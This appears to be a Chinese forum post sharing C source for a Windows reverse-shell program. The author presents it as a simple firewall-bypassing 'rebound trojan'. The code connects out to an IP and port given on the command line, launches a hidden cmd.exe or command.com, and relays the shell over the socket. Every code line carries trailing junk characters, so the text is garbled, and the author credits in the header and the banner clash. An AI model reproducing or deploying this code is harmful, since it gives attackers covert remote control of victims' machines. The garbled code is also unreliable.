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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 *&NP?-E  
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/* ============================== `6U!\D  
Rebound port in Windows NT ` =>}*GS  
By wind,2006/7 entU+Or  
===============================*/ jc5[r;#  
#include ;g|Vt}a&4  
#include AQ~ xjU  
sK}AS;:  
#pragma comment(lib,"wsock32.lib") !"L.gu-'  
T }#iXgyx  
void OutputShell(); |[*Bn3E:  
SOCKET sClient; /{^k8 Q  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; `z&#|0O  
9bM\ (s/  
void main(int argc,char **argv) cM#rus?)+  
{ [4z,hob  
WSADATA stWsaData; |toP8 6  
int nRet; U2 *ORd  
SOCKADDR_IN stSaiClient,stSaiServer; k#].nQG  
8SGaS&  
if(argc != 3) q(KjhM  
{ @aIgif+v  
printf("Useage:\n\rRebound DestIP DestPort\n"); \Vyys[MMY8  
return; U$OZkHA[  
} 3!CUJs/W  
7UfNz60+~  
WSAStartup(MAKEWORD(2,2),&stWsaData); ,Bk5( e  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); I|@+O#  
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stSaiClient.sin_family = AF_INET; da$FY7  
stSaiClient.sin_port = htons(0); zHJCXTM  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); XM$ ~HG  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) :{7+[LcH7  
{ x?h/e;  
printf("Bind Socket Failed!\n"); {9x_E {  
return; ATs_d_Sz  
} /_C2O"h  
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stSaiServer.sin_family = AF_INET; B8@mL-Z-;  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); ^? fOccfQ{  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); nS+Rbhs  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) ":!$Jnj,  
{ :#rP$LSYC  
printf("Connect Error!"); -&Rv=q>  
return; {;yO3];Hqw  
} *;<fh,wOk  
OutputShell(); KWJVc `  
} .t8)`MU6.  
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void OutputShell() 1NZ"\9=U  
{ F y+NJSG  
char szBuff[1024]; z0 "DbZ;d  
SECURITY_ATTRIBUTES stSecurityAttributes; >*-%:ub  
OSVERSIONINFO stOsversionInfo; GP} ;~  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; c./\sN@  
STARTUPINFO stStartupInfo; VvhfD2*T  
char *szShell; 1Bh"'9-!JT  
PROCESS_INFORMATION stProcessInformation; T ,lM(2S[  
unsigned long lBytesRead; }3Es&p$9  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); D!j/a!MaKk  
xl}rdnf}  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); S=@+qcI  
stSecurityAttributes.lpSecurityDescriptor = 0; cx\"r  
stSecurityAttributes.bInheritHandle = TRUE; .;? Bni  
{U5sRM|I  
pBsb>wvej  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); dY1t3@E  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); i5e10@Q{  
&[E\2 E  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); u64#,mC[*  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; bC{4a_B  
stStartupInfo.wShowWindow = SW_HIDE; WtM%(8Y[]  
stStartupInfo.hStdInput = hReadPipe; -cgO]q+Oq  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; h<.5:a  
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GetVersionEx(&stOsversionInfo); egoR])2>  
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switch(stOsversionInfo.dwPlatformId) Ot=>~(u0  
{ .3 EZk86  
case 1: ;n&95t1$  
szShell = "command.com"; k8gH#ENNK  
break; &#p1ogf:  
default: s^k G]7  
szShell = "cmd.exe"; QoD_`d  
break; J/1kJ@5  
} eg[EFI.h  
(:o F\  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); >AJ/!{jD*  
QkrQM&Im  
send(sClient,szMsg,77,0); 3",gjXmBu  
while(1) <A3%1 82  
{ ni;_Un~  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); K~(RV4oF8B  
if(lBytesRead) ]7HR U6$  
{ Jh"[ug  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); oo'9ZE/%  
send(sClient,szBuff,lBytesRead,0); = 0 ~4k#  
} )nN!% |J  
else GS;GJsAs  
{ pc`P;Eui  
lBytesRead=recv(sClient,szBuff,1024,0); j<AOC?  
if(lBytesRead<=0) break; !(d] f0  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); %YG?7PBB  
} LjZlKB5C  
} EP>u%]#  
t{k:H4  
return; !I7$e&Uz@  
}
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